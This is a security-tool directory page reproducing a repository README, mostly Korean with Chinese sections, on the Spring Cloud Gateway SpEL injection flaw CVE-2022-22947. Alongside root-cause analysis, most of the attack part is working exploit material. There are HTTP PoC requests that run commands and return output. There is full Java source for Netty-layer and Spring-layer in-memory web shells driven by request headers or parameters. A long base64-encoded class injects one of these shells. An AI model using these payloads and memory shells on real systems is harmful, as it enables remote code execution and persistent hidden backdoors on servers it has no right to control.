Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-22947-spring-cloud-gateway — # CVE-2022-22947 상세 분석 및 익스플로잇 Spring Cloud Gateway의 Actuator API에서 SpEL 주입을 통해 발생하는 원격 코드 실행 취약점(CVE-2022-22947)에 대한 상세 분석 및 익스플로잇입니다. PoC, 메모리 셸 주입, 근본 원인 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

cve-2022-22947-spring-cloud-gateway

# CVE-2022-22947 상세 분석 및 익스플로잇 Spring Cloud Gateway의 Actuator API에서 SpEL 주입을 통해 발생하는 원격 코드 실행 취약점(CVE-2022-22947)에 대한 상세 분석 및 익스플로잇입니다. PoC, 메모리 셸 주입, 근본 원인 분석을 포함합니다.

저장소 보기
18124년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

취약점 소개

Spring Cloud Gateway는 Spring Cloud의 새로운 프로젝트로, Spring 5.0, Spring Boot 2.0 및 Project Reactor 등의 기술을 기반으로 개발된 게이트웨이입니다. 마이크로서비스 아키텍처에 간단하고 효과적인 통합 API 라우팅 관리 방식을 제공하는 것을 목표로 합니다. 얼마 전 Spring Cloud Gateway에서 치명적인 RCE 취약점이 발견되었습니다 CVE. CVE 정보에 따르면 애플리케이션이 Spring Cloud Gateway의 Gateway Actuator 엔드포인트를 활성화하고 노출할 때 원격 코드 주입 공격에 노출될 수 있으며, 공격자는 악성 요청을 전송하여 원격으로 임의 코드를 실행할 수 있습니다. 현재 영향을 받는 버전은 다음과 같습니다:

  • 3.1.0
  • 3.0.0 ~ 3.0.6
  • 이전 버전 및 지원되지 않는 버전도 영향을 받습니다.

이번 분석에서는 해당 CVE를 재현하여 취약점 원리와 더욱 발전된 악용 방법을 학습합니다.

환경 구축

다음 의존성을 사용하여 Maven 프로젝트를 생성합니다:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

root@kitploit:~
spring boot 기본 구성에서는 health 엔드포인트만 웹에 공개되며, gateway를 공개해야 한다면 수동으로 구성해야 합니다. 참조[공식 문서](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

다음과 같은 POC를 전송합니다:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "" }]

http://127.0.0.1:9999
root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

그런 다음 ```POST /actuator/gateway/refresh```를 보내 라우트 캐시 정보를 새로고침하면 POC가 트리거됩니다:

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## 원리 분석

위의 POC를 살펴보면, 먼저 ```POST /actuator/gateway/routes/test2```를 통해 라우트를 동적으로 추가합니다. 라우트를 추가하는 과정에서 filter가 입력 파라미터를 처리할 때 해당 값을 spel 표현식으로 파싱할 수 있으며, 이후 라우트 캐시를 새로고침할 때 POC가 실행되어 동작합니다.
먼저 spring cloud gateway의 동적 라우트 구성 메커니즘을 살펴보겠습니다.
### 동적 라우트 구성
spring cloud gateway는 코드/구성 파일 방식을 통한 라우트 등록을 지원합니다. 공식 사이트의 [demo](https://spring.io/guides/gs/gateway/) 를 예로 들어 보겠습니다:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

설정 파일의 방식은 코드와 유사합니다:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

root@kitploit:~
이 두 가지 방식으로 추가된 라우트는 모두 고정되어 있으므로, 라우트 구성과 규칙을 추가, 수정, 삭제하려면 애플리케이션을 재시작해야만 적용됩니다. 하지만 현실적으로 spring cloud gateway는 모든 트래픽의 진입점이므로 시스템의 고가용성을 보장해야 합니다. 따라서 spring cloud gateway가 /gateway endpoint를 노출한 이후에는 /gateway/routes를 통해 동적 라우트 정보를 추가/수정/삭제할 수 있습니다. 하지만 이 방식의 라우트 정보는 메모리에만 존재하므로 서비스가 재시작되면 새로 추가된 라우트 구성 정보가 유실됩니다.

위 라우트 등록 형식에서 알 수 있듯이, 하나의 라우트 정보는 대상 uri, filter 집합 및 predicates 집합으로 구성됩니다. 여기서 predicates는 http 요청의 임의의 내용(요청 헤더, 파라미터)으로 요청 매칭을 수행할 수 있습니다. spring cloud gateway에는 많은 내장 route predicate 팩토리 클래스가 있으며, Before, After, Between, Cookie, Header, Host, [Path 등](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) 이 있습니다.

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

filter는 요청 전송 전 또는 후에 요청이나 응답을 수정하는 데 사용되며, 마찬가지로 많은 내장 filter 집합을 포함합니다. 위의 RCE를 유발하는 payload에서 사용한 filter는 AddResponseHeader이고, 다른 filter로는 RewritePath, SetPath 등이 있습니다. filter에는 두 가지 종류가 있습니다. 하나는 모든 라우트에 유효한 GlobalFilter이고, 다른 하나는 단일 라우트에만 유효한 GatewayFilter입니다. 자세한 내용은 https://www.cnblogs.com/duanxz/p/14780675.html 을 참고하세요.    

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## 요청 흐름
그러면 요청이 들어온 후 gateway를 거쳐 백엔드의 proxied service에 도달하기까지의 구체적인 흐름은 어떨까요? 공식 문서의 흐름은 다음과 같습니다.

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

클라이언트는 Spring Cloud GateWay에 요청을 보내고, GateWay Handler Mapping에서 요청과 일치하는 라우트를 찾아 GateWay Web Handler로 전송합니다. Handler는 다시 지정된 필터 체인을 통해 요청을 실제 서비스로 보내 비즈니스 로직을 실행한 후 반환합니다. 필터 사이가 점선으로 구분된 이유는 필터가 프록시 요청을 보내기 전(pre) 또는 후(post)에 비즈니스 로직을 실행할 수 있기 때문입니다.
RoutePredicateHandlerMapping은 라우트를 찾은 다음 webHandler에 의해 처리됩니다:

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

webHandler에서 gatewayFilters와 globalFilters를 찾은 후 filter에 정의된 Order 값에 따라 정렬하여 filterchain을 구성하고 모든 filter를 실행합니다.
![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)

### 동적 라우트 등록
이제 gateway endpoint 방식으로 라우트를 추가할 때 왜 spel 실행이 트리거되는지 구체적으로 살펴보겠습니다.```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:

![](https://assets.kitploit.com/production/public/readmes/35878/c7e83d849825741efdd564d36c0bc876673d1fde611b8174116cb68fd9492f88.png)

![](https://assets.kitploit.com/production/public/readmes/35878/c40f80a0a1694413b800ccb1fc4d1a75df085ed76e105967e3eef271eb9deaa3.png)

![](https://assets.kitploit.com/production/public/readmes/35878/85223e97fc44260a9e73c6a29978750d89564bebf334de13e0e8e2f3f24b4adf.png)

然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
	  at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
	  ... // Spring WebFlux의 publisher 및 subscriber 메커니즘
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
	  at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```
![](https://assets.kitploit.com/production/public/readmes/35878/fa6e490bab006a647434c344f2342a526bae101655b69d733216c548539a40e2.png)


解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:

![](https://assets.kitploit.com/production/public/readmes/35878/1ea8c05303d36c7baca64972bf734a954ade62d0c0db72d1a78a2787a73bff1b.png)

![](https://assets.kitploit.com/production/public/readmes/35878/e4a4aa64c8379cf5ca8cb0cea1ec4fa4d61aa0e963fa7f5c378be6dcb49ed2cd.png)


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

![](https://assets.kitploit.com/production/public/readmes/35878/af1100875dc25fafcac80102f490acb7b94d2d3c249444721025132cdac6c745.png)

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```

上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?

把payload中的predicates换上payload试试:

![](https://assets.kitploit.com/production/public/readmes/35878/914e733f51484585973b42f88d2a119ffce41ed6a468ad7f4460217dd456b453.png)

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

![](https://assets.kitploit.com/production/public/readmes/35878/9ea4f6c3ac4380c1e09132a1346f4c48282db321620c134fcede884f34e0f220.png)

```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"```

综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。

## 漏洞利用

### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json

{
  "id": "test3",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test4"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
  }
}],
  "uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```
![](https://assets.kitploit.com/production/public/readmes/35878/a54c441a7aa9112ce713354c3db41db85dc1e88db82d47f4368ac2dae6a5f570.png)

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。

spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    private ConnectionObserver connectionObserver;
    private Channel channel;
    private SocketAddress socketAddress;

    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemShell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    @Override
    // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        this.connectionObserver = connectionObserver;
        this.channel = channel;
        this.socketAddress = socketAddress;
        ChannelPipeline pipeline = channel.pipeline();
        // 将内存马的handler添加到spring层handler的前面
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
    }


    @Override
    // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // 返回执行结果
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }


    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}```

POC如下:
```text
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json

{
  "id": "test5",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test5"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
  }
}],
  "uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

![](https://assets.kitploit.com/production/public/readmes/35878/f79dcc4fc63a60f8c62524ffb44a515c89eea263617f36f160957e6c0b953589.png)

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json

{
  "id": "test6",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test6"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
  }
}],
